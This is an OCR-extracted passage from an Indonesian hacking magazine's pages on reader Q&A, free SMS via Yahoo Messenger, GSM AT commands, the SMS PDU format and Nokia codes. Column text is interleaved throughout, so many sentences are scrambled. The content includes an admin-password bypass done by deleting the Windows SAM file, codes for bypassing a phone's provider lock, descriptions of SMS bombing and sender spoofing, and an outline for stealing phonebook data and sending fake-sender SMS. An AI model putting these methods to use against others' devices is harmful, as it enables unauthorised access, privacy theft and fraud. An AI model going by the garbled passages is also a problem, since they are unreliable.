1. Bunuh (delete). Perhatikan puter anda dari FDD atau Subiyakto_C@yahoo.com
di direktory CDROM dengan boot 98 baik di indonesia, menurut
"C:\Windows\System" dan masuk ke T: Posted May 17 saya). Trus download deh se-
temukan file dengan nama C:\WINNT\system32\config Haloo Neoteker mau kamu, atau cari CDnya
"SysTask". Sesungguhnya nah didalam direktori config di distro terdekat dikota ka-
itu bukan file bawaan win- Saya masih baru dalam bi- mu, murah kok cuma goceng!
ada file dengan nama SAM. dang IT, jadi di perusahaan
dows, virus ini mencoba me- Hapus file tersebut (SAM), Artikel-artikel dari milis ini
nipu anda. File tersebut meng- saya telah membeli cisco (arsip/kumpulan imel lama)?
restart komputer anda dan router type 2600, namun
gunakan icon MS Word te- anda masuk ke windows se- Cari di yahoogroups.com, lo-
tapi sebenarnya berekstensi saya tidak bisa mengkonfi- gin, trus main ke seksi maja-
bagai administrator tanpa gurasi router tersebut mela-
*.exe password. Kalo anda meng- lahneoteknya trus baca-baca
lui PC yang lain. Tolong deh.
2. Jika ternyata tidak dapat gunakan system partisi bantuan, gimana caranya
di delete, restart komputer NTFS, boot komputer dengan Bukan artikel-artikel itu??? Ya
mengkoneksikan PC dengan cari-cari aja di google.com!
dengan opsi "Restart in MS CD win 2000 or winxp, pada Router dan menset IP Ad-
DOS Mode". di Dos, masuk saat boot dari CDROM dan yakinlah kalo kata kuncinya
dress serta modem dari benar, pasti ketemu!
ke direktori akhirnnya muncul pilihan router tsb?
C:\Windows\System pada menu utama pilih repair Terima kasih atas perhatiaanya langit_byru
kemudian ketik => del windows lalu ikuti langkah- langit_byru@telkom.net
nya sampai masuk ke c:\. Wahyu Ahadi R
systask.exe
Lakukan hal yang sama se- wahyu@pln-nad.co.id
3. Sampe disini, ketik => exit

8 NeoTek Vol. IV No. 08


NeoStart

KIRIM SMS GRATIS


IAPA SIH YANG GAK MAU?
BEGITULAH
S fasilitas SMS gratis banyak dicari
orang. Siapa yang tidak kesemsem
dengan fasilitas tersebut karena bisa irit

AKSES MELALUI pulsa. Sekarang ini, situs yang menyedia-


kan fasilitas pengiriman SMS gratis sudah
sulit untuk dijumpai.

YAHOO! MESSENGER Jangan sedih dahulu, Yahoo! Messengger


yang kita kenal sebagai program chat dari
Yahoo ternyata menyediakan fasilitas pe-
ngiriman SMS gratis. Bukan itu saja, pene-
Susah mendapatkan account SMS gratis? MA Rody Candera rima SMS yang dikirim juga bisa membalas
(odyxb@bogor.net) mengungkapkan Yahoo! Messengger SMS anda. Tentu saja balasannya dikirim
ke akses Yahoo Messengger anda.
memberikan fasilitas kirim SMS gratis. SMS dikirim langsung
Ingin tahu caranya? Ikutin artikel berikut.
ke handphone dan penerima pun bisa membalasnya.

Ngirim SMS tanpa harus bayar...

INSTALASI YAHOO! MESSENGGER AKTIFKAN LOGIN


1 Syarat yang utama yaitu komputer
anda telah ter-instal Yahoo Mes-
2 Setelah instalasi selesai, aktifkan
program Yahoo! Messengger.
3 Jika anda telah memiliki yahoo
account email, masukkan Yahoo ID
senger, jika belum silakan down- Ada banyak cara untuk meng- anda beserta password-nya. Jika ti-
load di www.yahoo.com kemudian aktifkan Yahoo Messenger, cara dak memiliki account email di Ya-
ikuti arahan yang selanjutnya paling cepat dengan double click hoo, maka anda diwajibkan untuk
akan anda temui nantinya. ikon Yahoo! Messengger di mendaftar sebagai New user. Klik
taksbar bagian ujung kanan. tombol Get a Yahoo ID.

SMS yang dikirim


melalui Yahoo!
Messengger

Konfirmasi jika
just SMS dapat di reply

ADD A MOBILE FRIEND MENGIRIM SMS CEK ‘N RICEK


4 Klik tombol yang bergambar
ponsel dengan tulisan dibawahnya
5 Tuliskan pesan yang ingin anda
kirimkan di bagian baris ketik
6 Apakah benar pesan telah dikirim-
kan dan sampai kepada tujuan?
Mobile. Klik sekali saja maka anda yang ada di bawah dan karakter Ternyata benar-benar sampai, bah-
akan dihantar sebuah pop menu, dibataskan sejumlah 153 saja. kan penerima SMS anda dapat
silakan isi kemudian klik tombol Untuk mengirimkan pesan membalas SMS yang anda kirim-
Add to Mobile Friends. tersebut klik tombol Send. kan tadinya.

Vol. IV No. 08 NeoTek 9


NeoStart

S M S DAN G S M HAC K I N G
Menguak Rahasia Ponsel
Penggunaan Handphone yang sudah sangat meluas membut anda perlu mengenal hal-hal apa
saja yang tersembunyi dibaliknya. Bung Ftp_Geo (FG@yahoo.com) membahasnya untuk
menambah wawasan anda terhadap dinamika dunia ponsel.
T COMMANDS DIGUNAKAN UNTUK MELAKUKAN KOMU- Mari kita coba melakukan koneksi ke ponsel melalui
A nikasi dengan modem. Standar AT commands
yang lazim digunakan adalah AT commands pada
komputer. Start > Programs > Accesories > Communications
> Hyper Terminal. Jika belum tersedia Hyper Terminal,
kom-patibel modem Hayes. Ponsel pada dasarnya adalah masukkan CD Windows dan tambahkan aplikasi Hyper
modem, sehingga AT command pun berlaku pada ponsel. Terminal ke Windows Anda. Buatlah koneksi baru dengan
AT commands untuk ponsel ditetapkan dengan adanya nama Hyper Terminal. Jika anda menghubungkan ponsel
standar GSM 07.07 dan GSM 07.05. ke port COM1 pada komputer dengan kabel data, pilihlah
Dengan menggunakan kabel data yang tersedia pada masing- port COM1. Jika menggunakan infra merah, pilihlah port
masing jenis dan merk ponsel, kita dapat 'berkomunikasi' COM yang paling akhir, biasanya COM6.
dengan ponsel melalui PC. Dengan utility built-in dari Buat koneksi baru dan
Windows yaitu Hyper Terminal kita sudah dapat mengo- pilih bit per second (bps)
rek informasi ponsel melalui sebuah kabel data ataupun yang sesuai dengan ponsel
melalui saluran komunikasi infra merah. Anda. Kebanyakan meng-
gunakan bps 19200.
Lalu kirimkan perintah at
untuk memeriksa koneksi.
Jika responnya OK, maka
koneksi berhasil dilaku-
kan.

Jika menggunakan DOS, anda dapat menggunakan Telix


(http://www.telix.com). Sedangkan di linux, bisa menggunakan
minicom (http://freshmeat.net/projects/minicom).

10 NeoTek Vol. IV No. 08


NeoStart

Dengan bahasa pemrograman tersebut, kita dapat meng-


hantarkan perintah-perintah AT dari PC ke ponsel.
Umumnya, bahasa pemrograman sudah memiliki kemam-
puan untuk dapat melakukan komunikasi dengan port ko-
munikasi pada PC (COM1, COM2, dst), walaupun mungkin
harus menggunakan modul atau library tertentu. Java me-
merlukan paket tambahan javacomm.
Adapun ActivePerl pada Windows menggunakan modul
Win32::SerialPort-0.19 yang memerlukan instalasi modul
Win32::API terlebih dahulu (h http://dada.perl.it/). Pada
Visual Basic juga telah tersedia komponent MS Commu-
nication Control.
Berikut ini beberapa contoh AT commands untuk GSM
yang umum digunakan (perintah selengkapnya terdapat
pada file .pdf yang disertakan dalam CD Neotek).

PERINTAH FUNGSI

AT+CGMI Menampilkan kode manufaktur (pabrik pembuat)


AT+CGMM Menampilkan model ponsel
AT+CGMR Menampilkan versi software ponsel
Daftar perintah-perintah modem GSM bisa didapat dari AT+CGSN Menampilkan nomor IMEI
vendor masing-masing ponsel. Dapat juga cari atau tanya AT+GSN Menampilkan nomor IMEI
di www.forumponsel.com. Perintah-perintah dasar AT AT+CHUP Menutup percakapan
untuk GSM bersifat standar, namun beberapa vendor me- AT+CEER Menampilkan sebab terputusnya koneksi terakhir
AT+CREG Registrasi jaringan
nambahkan perintah AT yang hanya bisa dijalankan pada
AT+COPS Registrasi jaringan
produk mereka. Dalam contoh ini saya menggunakan daf- AT+CPBS Memilih buku telepon (SIM atau mobile)
tar perintah AT yang saya dapat dari Siemens, berupa se- AT+CPBR Membaca isi buku telepon
buah file .pdf yang berisi daftar perintah AT standar dan AT+CPBW Menambah isi buku telepon
tambahan khusus Siemens. AT+CSMS Memilih
Apa untungnya menggunakan AT command? Dengan AT AT+CPMS Memilih memori penyimpanan SMS
command, anda dapat mengotomatisasi tugas pada ponsel AT+CMGF Memilih format SMS (teks atau PDU)
AT+CSCA Menampilkan nomor message center yg digunakan
anda. Mulai dari pengiriman dan manajemen penerimaan
AT+CNMI Menampilkan SMS baru
SMS, sampai pada manajemen phonebook. Singkatnya, AT+CMGL Menampilkan daftar SMS
anda dapat mengendalikan sendiri semua fitur yang ter- AT+CMGR Membaca SMS
sedia pada ponsel. AT+CMGS Mengirim SMS
Apakah AT commands saja cukup? Kita masih me-merlu- AT+CMSS Mengirim SMS dari memori
kan satu piranti lagi untuk dapat mengotomatisasi tugas AT+CMGW Menulis SMS ke memori
pada ponsel. Kita membutuhkan bahasa pemrograman AT+CMGD Menghapus SMS di memori
yang dapat berkomunikasi dengan port COM pada PC. AT+CMGC Mengirimkan perintah SMS

Vol. IV No. 08 NeoTek 11


NeoStart

S M S DAN G S M HAC K I N G
SMS, PDU, dan AT Commands
Melanjutkan pengantar mengenai handphone, MA Rody Candera (odyxb@bogor.net)
membahas lebih rinci lagi mengenai format SMS serta AT commands yang biasa terdapat pada
modem. Handphone sekarang hampir semuanya merupakan suatu modem juga, bukan?

gambar dan ringtone. Pesan SMS 16-bit memiliki


T ELEPON GENGGAM ATAU BIASA KITA SEBUT DENGAN
handphone, bukanlah barang baru lagi. Penggu-
nanya sudah begitu meluas sebagai alat komuni-
maksimal karakter sejumlah 70 yang digunakan untuk
'Flash SMS'
kasi yang praktis, dalam arti kata bisa dibawa kemana-
mana. Tidak saja orang dewasa, bahkan anak-anak muda PDU (Protocol Description Unit) Format
pun tidak ketinggalan. Tidak saja untuk kepentingan Ada 2 cara untuk mengirim dan menerima pesan SMS,
bisnis melainkan juga untuk urusan pribadi. yaitu 'Text mode' dan 'PDU mode'. Menerima pesan da-
Perkembangan teknologi handphone melaju pesat, terlihat lam bentuk mode PDU berisi PDU string yang tidak hanya
dari begitu diminatinya handphone oleh masyarakat dunia berisi pesan saja tetapi juga berisi mengenai pengirim
sehingga menimbulkan tingkat persaingan yang tinggi pesan seperti 'SMS Service Centre', 'waktu penerimaan
antar produsen handphone seperti Nokia, Motorola, pesan', dan lain sebagainya. Seperti yang digambarkan
Siemens, dan lain-lain. Untuk meraih pangsa pasar mereka berikut, string PDU dari pesan SMS yang diterima oleh
membuat handphone semakin beraneka ragam dalam ben- Nokia 8250 dengan isi pesan SMS yaitu 'Okay!'.
tuk maupun fungsi yang disediakan.
Pada awalnya handphone dibuat dengan teknologi analog
Tabel 2. PDU String
yang kemudian berkembang menjadi teknologi digital.
Kemampuannya tidak hanya sebagai alat komunikasi se- Octet(s) Deskripsi
perti telepon reguler, melainkan sudah memiliki fungsi 05 Panjang informasi mengenai SMSC
sebagai kamera, untuk mengakses internet, dan lain seba- 91 Type alamat SMSC (91 adalah format
gainya. Teknologi yang tadinya ditujukan untuk kompu- nomor telephone Internasional)
ter, kini ditujukan juga kepada handphone yang menjadi- 26181642240C Nomor pusat service
kannya suatu komputer mini yang memiliki kemampuan 91 Octet pertama pada pengiriman
komputer pada umumnya. Kini dengan masuknya produ- pesan SMS
sen komputer ke kancah persaingan handphone, semakin 26 Panjang alamat nomor pengirim
menambah warna-warni teknologi handphone. 18 Type alamat nomor pengirim
Artikel ini merupakan suatu pengantar karena banyak hal 55672063 Nomor pengirim
yang penting untuk diketahui mengenai handphone. Tuju- 00 TP-PID (Protocol Identifier)
annya adalah tidak lain agar kita setidaknya mengetahui 00 TP-DCS (Data Coding Scheme)
seluk-beluk yang terhadap dalam handphone hingga tidak 404052125285820 TP-SCTS (Time Stamp)
hanya menjadi pengguna pasif saja. Berdasarkan penga- 5C TP-UDL, panjang data pesan
laman penulis, pengguna pasif terkadang menjadi korban F75381F02 TP-UD, pesan SMS yang berisi 'Okay!'
pengguna aktif yang lebih banyak memahami seluk-beluk
handphone.
AT Commands
SMS (Short Message Service) Merupakan media komunikasi antara handphone dan
Fasilitas ini siapa yang tidak tahu, pengguna handphone komputer untuk menulis, mengirim, dan membaca SMS,
pasti pernah memanfaatkannya atau barangkali selalu maupun menjadikan handphone sebagai modem untuk
memanfaatkannya karena biayanya lebih murah hubungan koneksi ke HSCD atau GPRS. Antara hand-
dibanding menghubungi secara langsung (penghematan phone dan komputer diperlukan kabel data.
pulsa :). Ketika mengirim dan menerima SMS, apa kita Memulai AT Commands, dapat melalui program khusus
tahu sebenarnya bagaimana proses yang terjadi dibalik atau menggunakan program 'HyperTerminal' yang sudah
itu? Nah..., tidak salah kita mengetahui bagaimana sistem built-in pada Microsoft Windows. Dan jangan lupa
kerja di balik SMS ini. handphone telah tersambung dengan kabel data yang
Pesan SMS merupakan ditetapkan oleh ETSI (European terhubung ke komputer
Telecommunication Standards Institute) sebagai dokumen AT Commands diawali dengan 'AT' dan maksimal terdiri
pada GSM 03.40 dan GSM 03.38 yang bisa berisi text dari 140 karakter. Berikut pada Tabel-tabel 3 sampai 10
sampai di atas 160 karakter (standar karakter umumnya merupakan tabel-tabel AT Commands.
160) dimana masing-masing karakter dihitung dengan
nilai 7 bit (lihat tabel default alphbet7-bit). Seperti telah disinggung pada point PDU Format, PDU
String dari pesan SMS yang diterima Nokia 8520 yaitu:
bSelain yang 7-bit, ada juga pesan SMS dengan nilai 8-bit
tetapi karakter dibataskan pada 140 dan digunakan untuk 059126181642240C9126185567206300004040521252858205CF75381F02

12 NeoTek Vol. IV No. 08


NeoStart

Tabel 1. Default Alfabet 7-bit


Hex Dec Nama Karakter karakter ISO-8859-1DEC Hex Dec Nama Karakter karakter ISO-8859-1DEC
0x00 0 commercial at @ 64 0x3B 59 semicolon ; 59
0x01 1 pound sign £ 163 0x3C 60 less-than sign < 60
0x02 2 dollar sign $ 36 0x3D 61 equals sign = 61
0x03 3 yen sign ¥ 165 0x3E 62 greater-than sign > 62
0x04 4 latin small letter e with grave è 232 0x3F 63 question mark ? 63
0x05 5 latin small letter e with acute é 233 0x40 64 inverted exclamation mark ¡ 161
0x06 6 latin small letter u with grave ù 249 0x41 65 latin capital letter a A 65
0x07 7 latin small letter i with grave ì 236 0x42 66 latin capital letter b B 66
0x08 8 latin small letter o with grave ò 242 0x43 67 latin capital letter c C 67
0x09 9 latin capital letter c with cedilla Ç 199 0x44 68 latin capital letter d D 68
0x0A 10 line feed 10 0x45 69 latin capital letter e E 69
0x0B 11 latin capital letter o with stroke Ø 216 0x46 70 latin capital letter f F 70
0x0C 12 latin small letter o with stroke ø 248 0x47 71 latin capital letter g G 71
0x0D 13 carriage return 13 0x48 72 latin capital letter h H 72
0x0E 14 latin capital letter a with ring above Å 197 0x49 73 latin capital letter i I 73
0x0F 15 latin small letter a with ring above å 229 0x4A 74 latin capital letter j J 74
0x10 16 greek capital letter delta ∆ 0x4B 75 latin capital letter k K 75
0x11 17 low line _ 95 0x4C 76 latin capital letter l L 76
0x12 18 greek capital letter phi Φ 0x4D 77 latin capital letter m M 77
0x13 19 greek capital letter gamma Γ 0x4E 78 latin capital letter n N 78
0x14 20 greek capital letter lambda Λ 0x4F 79 latin capital letter o O 79
0x15 21 greek capital letter omega Ω 0x50 80 latin capital letter p P 80
0x16 22 greek capital letter pi Π 0x51 81 latin capital letter q Q 81
0x17 23 greek capital letter psi Ψ 0x52 82 latin capital letter r R 82
0x18 24 greek capital letter sigma Σ 0x53 83 latin capital letter s S 83
0x19 25 greek capital letter theta Τ 0x54 84 latin capital letter t T 84
0x1A 26 greek capital letter xi Ξ 0x55 85 latin capital letter u U 85
0x1B 27 escape to extension table 0x56 86 latin capital letter v V 86
0x1B0A 27 10 form feed 12 0x57 87 latin capital letter w W 87
0x1B14 27 20 circumflex accent ^ 94 0x58 88 latin capital letter x X 88
0x1B28 27 40 left curly bracket { 123 0x59 89 latin capital letter y Y 89
0x1B29 27 41 right curly bracket } 125 0x5A 90 latin capital letter z Z 90
0x1B2F 27 47 reverse solidus (backslash) \ 92 0x5B 91 latin capital letter a with diaeresis Ä 196
0x1B3C 27 60 left square bracket [ 91 0x5C 92 latin capital letter o with diaeresis Ö 214
0x1B3D 27 61 tilde ~ 126 0x5D 93 latin capital letter n with tilde Ñ 209
0x1B3E 27 62 right square bracket ] 93 0x5E 94 latin capital letter u with diaeresis Ü 220
0x1B40 27 64 vertical bar | 124 0x5F 95 section sign § 167
0x1B65 27 101 euro sign € 164 (ISO-8859-15) 0x60 96 inverted question mark ¿ 191
0x1C 28 latin capital letter ae Æ 198 0x61 97 latin small letter a a 97
0x1D 29 latin small letter ae æ 230 0x62 98 latin small letter b b 98
0x1E 30 latin small letter sharp s (german) ß 223 0x63 99 latin small letter c c 99
0x1F 31 latin capital letter e with acute É 201 0x64 100 latin small letter d d 100
0x20 32 space 32 0x65 101 latin small letter e e 101
0x21 33 exclamation mark ! 33 0x66 102 latin small letter f f 102
0x22 34 quotation mark " 34 0x67 103 latin small letter g g 103
0x23 35 number sign # 35 0x68 104 latin small letter h h 104
0x24 36 currency sign ¤ 164 (ISO-8859-1) 0x69 105 latin small letter i i 105
0x25 37 percent sign % 37 0x6A 106 latin small letter j j 106
0x26 38 ampersand & 38 0x6B 107 latin small letter k k 107
0x27 39 apostrophe ' 39 0x6C 108 latin small letter l l 108
0x28 40 left parenthesis ( 40 0x6D 109 latin small letter m m 109
0x29 41 right parenthesis ) 41 0x6E 110 latin small letter n n 110
0x2A 42 asterisk * 42 0x6F 111 latin small letter o o 111
0x2B 43 plus sign + 43 0x70 112 latin small letter p p 112
0x2C 44 comma , 44 0x71 113 latin small letter q q 113
0x2D 45 hyphen-minus - 45 0x72 114 latin small letter r r 114
0x2E 46 full stop . 46 0x73 115 latin small letter s s 115
0x2F 47 solidus (slash) / 47 0x74 116 latin small letter t t 116
0x30 48 digit zero 0 48 0x75 117 latin small letter u u 117
0x31 49 digit one 1 49 0x76 118 latin small letter v v 118
0x32 50 digit two 2 50 0x77 119 latin small letter w w 119
0x33 51 digit three 3 51 0x78 120 latin small letter x x 120
0x34 52 digit four 4 52 0x79 121 latin small letter y y 121
0x35 53 digit five 5 53 0x7A 122 latin small letter z z 122
0x36 54 digit six 6 54 0x7B 123 latin small letter a with diaeresis ä 228
0x37 55 digit seven 7 55 0x7C 124 latin small letter o with diaeresis ö 246
0x38 56 digit eight 8 56 0x7D 125 latin small letter n with tilde ñ 241
0x39 57 digit nine 9 57 0x7E 126 latin small letter u with diaeresis ü 252
0x3A 58 colon : 58 0x7F 127 latin small letter a with grave à 224

Vol. IV No. 08 NeoTek 13


NeoStart

Tabel 5. Phone Control Commands


AT+CBC Battery Charge
AT+CGMI Request Manufacturer Identification
AT+CGMM Request Model Identification
AT+CGMR Request Revision Identification
AT+CGSN Request Product Serial Number Identification
AT+CMEE Report Mobile Equipment Error
AT+CPAS Phone Activity Status
AT+CPBF Find Phone Book Entries
AT+CPBR Read Phone Book Entry
AT+CPBS Select Phone Book Memory Storage
AT+CPBW Write Phone Book Entry
AT+CSCS Select TE Character Set
AT+CSQ Signal Quality

Tabel 6. Computer Data Card Interface Commands


ATE Command Echo
Gambar 1: Hyperterminal, Built-In di MS. Windows ATQ Result Code Suppression
ATV Define Response Format
ATX Response Range Selection
AT&C Define DCD Usage
AT&D Define DTR Usage
AT&K Select Flow Control
AT&Q Define Communications Mode Option
AT&S Define DSR Option
AT+ICF DTE-DCE Character Framing
AT+IFC DTE-DCE Local Flow Control
AT+IPR Fixed DTE Rate
AT+CLIP Calling Line Identification Presentation
AT+CR Service Reporting Control
AT+DR Data Compression Reporting
AT+ILRR DTE-DCE Local Rate Reporting

Tabel 7. Network Communication Parameter Commands


ATB Communications Standard Option
AT+CBST Select Bearer Service Type
AT+CEER Extended Error Report
AT+CRLP Radio Link Protocol
Gambar 2: Tampilan HyperTerminal pada MS Windows XP AT+DS Data Compression

Tabel 8. Miscellaneous Commands


Tabel 3. Call Control A/ Re-Execute Command Line
ATA Answer Command AT? Command Help
ATD Dial Command AT*C Start SMS Interpreter
ATH Hang Up Call AT*T Enter SMS Block Mode Protocol
ATL Monitor Speaker Loudness AT*V Activate V.25bis Mode
ATM Monitor Speaker Mode AT*NOKIATEST Test Command
ATO Go On-Line AT+CESP Enter SMS Block Mode Protocol
ATP Set Pulse Dial as Default
ATT Set Tone Dial as Default
AT+CSTA Select Type of Address Tabel 9. SMS Commands SMS Text Mode
AT+CRC Cellular Result Codes AT+CSMS Select Message Service
AT+CPMS Preferred Message Storage
AT+CMGF Message Format
Tabel 4. Data Card Control Commands AT+CSCA Service Centre Address
ATI Identification AT+CSMP Set Text Mode Parameters
ATS Select an S-register AT+CSDH Show Text Mode Parameters
ATZ Recall Stored Profile AT+CSCB Select Cell Broadcast Message Types
AT&F Restore Factory Settings AT+CSAS Save Settings
AT&V View Active Configuration AT+CRES Restore Settings
AT&W Store Parameters in Given Profile AT+CNMI New Message Indications to TE
AT&Y Select Set as s Powerup Option AT+CMGL List Messages
AT+CLCK Facility Lock Command AT+CMGR Read Message
AT+COLP Connected Line Identification Presentation AT+CMGS Send Message
AT+GCAP Request Complete Capabilities List AT+CMSS Send Message from Storage
AT+GMI Request Manufacturer Identification AT+CMGW Write Message to Memory
AT+GMM Request Model Identification AT+CMGD Delete Message
AT+GMR Request Revision Identification
AT+GSN Request Product Serial Number Identification

14 NeoTek Vol. IV No. 08


NeoStart

Tabel 10. SMS PDU Mode Penipuan yang dilakukan menggunakan handphone dapat
dimasukkan kedalam kategori Fake SMS. Penipuan ini
AT+CMGL List Messages makin meluas sekarang, berhati-hatilah!
AT+CMGR Read Message
AT+CMGS Send Message Pernah mendengar virus yang menyerang Nokia seri 33xx?
AT+CMGW Write Message to Memory Virus tersebut pertama kali ditemukan oleh ilmuwan
Belanda, dimana virus yang ciptakannya didasarkan bebe-
didapat dari memanfaatkan AT Commands pada hyper- rapa penelitian terhadap handphone Nokia seri 33xx yang
terminal, perhatikan Gambar 3. menghasilkan report mengenai bug yang terdapat pada
handphone tersebut.
Dalam perkembangan virus handphone mengalami kema-
juan yang menunjukkan hasil yang menakutkan karena
memiliki daya perusak yang hebat, dan kebanyakan virus
tersebut dibuat menggunakan VBScript.
Contoh virus handphone yang pernah menjadi bahan
perbincangan antara lainnya seperti Hoax dan Timofonica.
Virus tersebut dikirim kepada target sebagai pesan SMS
dan jika di terima bisa saja membuat anda terpaksa mema-
Gambar 3. sukkan pembelian handphone baru pengganti pada ang-
garan belanja anda. Tetapi, benarkah virus handphone itu
ada? Masih menjadi perbincangan antara pro dan kontra.
Nokia Codes
Nokia dengan mottonya Connecting People memiliki peng-
guna yang banyak untuk market di Indonesia hingga
dikenal sebagai handphone Sejuta Umat. Itu sebuah ejek-
an atau tidak, tapi terbukti Nokia menjadi pilihan ter-
banyak.
Disamping harganya terbilang cepat turun, juga sangat
mudah penggunaannya. Model yang dimiliki tidak ter-
tinggal dengan model handphone merek lainnya.
Setiap handphone memiliki kode-kode tersendiri, yang
akan disinggung disini hanya kode-kode yang terdapat
pada Nokia, itupun tidak seluruhnya. Pengetahuan akan
kode-kode tersebut penting diketahui karena kita dituntut
untuk mengenal dengan baik atas apa-apa yang miliki.
Untuk mengetahui lebih banyak mengenai kode-kode hand-
phone Nokia, kunjungi http://www.cellphonehacks.com.

Gambar 4. Tabel 11 Nokia Codes


Nokia seri Judul Kode deskripsi
7110 Service Provider #pw+1234567890+1# Mengunci Service Pro-
Jika dilakukan convert PDU String tersebut, maka akan Lock #pw+1234567890+2# vider pada ponsel se-
terlihat pada Gambar 4. #pw+1234567890+3# hingga ketika ponsel
#pw+1234567890+4# dimasukkan kartu lain
SMS Fake Sender dari operator yang ber
beda maka ponsel akan
Dinamakan begitu karena dapat keusilan yang dihasilkan menolak kartu tersebut.
dapat membuat jengkel orang yang menjadi korbannya. 3210, 33xx `Menu Extra *#92702689# Menampilkan serial
Fake SMS merupakan SMS yang dapat berupa pesan unik 6150, 6210 number, tanggal manu
7110 facture, tanggal purchase,
atau bahkan menjijikkan. Menjijikkan karena ada beberapa user data
SMS Fake memiliki tingkat bahaya yang harus diwaspa- 16xx, 21xx Bypass Service 1. Masukkan kartu yang Membuka penguncian
dai. Yang menjadi target tentu handphone. 31xx, 51xx berbeda provider Service Provider pada
81xx 2. Aktifkan ponsel, te- ponsel
Apakah anda pernah menerima pesan SMS dalam jumlah kan 'UP' 3 detik, ke-
paket yang sangat banyak (lebih dikenal dengan istilah mudian ponsel akan
SMS Bomb) dan dalam waktu yang bersamaan? Efek yang meminta Pin Code
3. Tekan key 'C'
ditimbulkan terhadap handphone dengan menerima pesan 4. Tekan key '*', tunggu,
SMS dalam jumlah paket yang banyak tersebut membuat kemudian tekan kem-
handphone menjadi crash atau bila mungkin yang paling bali key '*', masukkan
mengenaskan membuat handphone menjadi rusak dan 04*PIN*PIN*PIN#
tidak berguna. Efek tersebut dikarenakan quota yang 5170i Warranty menu *#92772689# Melihat menu warranty
yang berisi opsi:
dimiliki sebuah handphone untuk menampung pesan SMS 1. Serial Number
yang masuk terbatas. Jika tidak menimbulkan kerusakan 2. Date made
berarti, yang menjadi masalah adalah menghapus pesan 3. Programming Date
4. Repaired Date
SMS tersebut. Bayangkan jika anda menghapus 5000 5. Transfer user data
pesan SMS, memungkinkan tidak ya? 6. Life Timer

Vol. IV No. 08 NeoTek 15


NeoStart

S M S DAN G S M HAC K I N G
Mengenal Format Data SMS
Bung Ftp_Geo (FG@yahoo.com) melanjutkan pembahasan SMS dengan mengenali format-
format data yang digunakan dalam pengiriman pesan SMS. Pengenalan ini penting untuk
Hacking, yaitu diantaranya SMS Fake Sender dan Mencuri Data Ponsel melalui SMS.

AAT INI, PENGGUNAANSMS SUDAH SANGAT BERAGAM


S dan memasyarakat. Tidak sulit menemukan peng-
guna ponsel yang sedang asyik melatih jarinya
menekan keypad untuk mengirimkan SMS. Saya sendiri
termasuk yang menggemari fasilitas ini. Tentunya disertai
keinginan untuk mempelajari cara kerja SMS. Pada saat
menekan tombol Send, selalu timbul pertanyaan besar
pada diri saya: Bagaimana sebenarnya SMS disampaikan? Namun perlu diketahui bahwa, baik pada format MO mau-
pun MT, SMS tidak dikirimkan dalam bentuk teks murni
Coba mari kita ikuti tahap-tahap pengiriman SMS. Mulai (clear text). SMS menggunakan format data khusus yang
dari menekan tombol Send, sampai pada saat menerima dikenal dengan istilah PDU (Procotol Data Unit). PDU sen-
laporan status pengiriman (status report) apakah SMS diri berbentuk oktet (pasangan) heksadesimal dan oktet
tersebut berhasil dikirim atau gagal tak terkirim. semidesimal. Dengan menguasai format PDU, Anda dapat
Ketika anda menekan tombol send untuk mengirimkan mengkustomisasi sendiri isi SMS Anda.
SMS dari ponsel, sebenarnya anda sedang mengirimkan Format Data MO
pesan dengan format MO (M Mobile Originated) ke SMS
SCA PDU-Type MR DA PID DCS VP UDL UD
Center. Informasi yang terkandung dalam MO antara lain:
Format Data MT
1. Service Center Address (SCA), yaitu nomor SMSC yang
digunakan. SCA PDU-Type OA PID DCS SCTS UDL UD

2. Tipe format PDU (Protocol Data Unit) yang digunakan.


Badan yang mendefinisikan standar penulisan dan enkoding
3. Message Reference (MR). SMS ini adalah The European Telecommunications Stan-
4. Destination Address (DA), yaitu berisi nomor tujuan. dards Institute (E
ETSI). Bagi Anda yang berminat mendalami
lebih jauh tentang standar-standar komunikasi, tidak usah
5. Protocol Indetifier (PID).
sungkan untuk membuka situs www.etsi.org milik ETSI.
6. Data Coding Scheme (DCS) yang menginformasikan
enkoding apa yang dipakai oleh MO. Untuk mendalami format PDU, anda dapat merujuk pada
sumber-sumber yang khusus membahas hal tersebut seperti
7. Validity Period (VP) memuat informasi berapa lama SMS www.dreamfabric.com/sms.
harus menunggu di antrian, jika nomor tujuan belum
memberikan respon. Mirip (tapi tidak sama) dengan TTL Ada juga software yang dapat mengkonversi PDU ke teks,
(Time To Live) pada TCP/IP. dan sebaliknya, bernama PDU Spy. Download software ini
8. User Data Length (UDL) memuat panjang isi pesan SMS. dari www.nobbi.com
9. User Data (UD), nah baru pada segmen kesembilan inilah Informasi routing
letak isi pesan SMS sesungguhnya berada. pada umumnya
akan mengikuti
Setelah pesan MO ini sampai ke SMSC, maka SMSC akan
setting default
memproses lebih lanjut dengan mengirimkan pesan dengan
dari operator ja-
format MT (M Mobile Terminated) ke ponsel tujuan. MT
ringan seluler
tersebut membawa pesan berisi:
yang anda guna-
1. Service Center Address (SCA), yaitu nomor SMSC yang kan. Semua SMS
digunakan. yang dikirimkan
2. Orginator Address (OA), alamat pengirim.
akan melewati
SMSC ini. Dalam
3. Protocol Indetifier (PID). SMSC inilah
4. Data Coding Scheme (DCS) yang menginformasikan terdapat aplikasi
enkoding apa yang dipakai oleh MT. billing yang akan
memeriksa
5. Service Center Time Stamp (SCTS) yaitu waktu pengiriman apakah Anda
dari SMSC. memiliki kredit
6. User Data Length (UDL) memuat panjang isi pesan SMS. (dikenal dengan
istilah pulsa)
7. User Data (UD), memuat isi pesan SMS. Gambar 1. Tampilan PDU Spy

16 NeoTek Vol. IV No. 08


NeoStart

Mengirim SMS dengan Modus PDU Pencurian Data Ponsel


Setelah mengenal AT commands dan PDU mode, maka Sering melihat alat pengisi ringtone, logo dan wallpaper di
berikut adalah cara pengiriman SMS dengan kedua hal pusat perbelanjaan ponsel? Bagaimana jika program tersebut
tersebut. sebenarnya adalah praktek Cell Phone Data Theft?
1. Siapkan SMS yang akan dikirimkan ke dalam bentuk Setelah mempelajari AT commands untuk GSM dan kemudian
PDU. Bisa menggunakan PDUSpy. pada artikel selanjutnya mengenai SMS Fake Sender, mari kita
2. Jalankan AT command pengiriman SMS. menyusun konsep aplikasi pencurian data ponsel.
Untuk membaca isi phone book seseorang cukup dengan bebe-
Contoh SMS: rapa AT commands saja. Yaitu AT+CPBS untuk memilih tem-
Nomor Tujuan : +628128049030 pat penyimpanan phone book. AT+CPBR untuk membaca isi
SMSC : +62816124 phone book.
Isi pesan : Halo redaksi Majalah Neotek.. Setelah isi phone book berhasil didapat, maka kita dapat mengi-
Maka PDU-nya adalah: rimkan SMS fake sender dengan sender ID pemilik phone
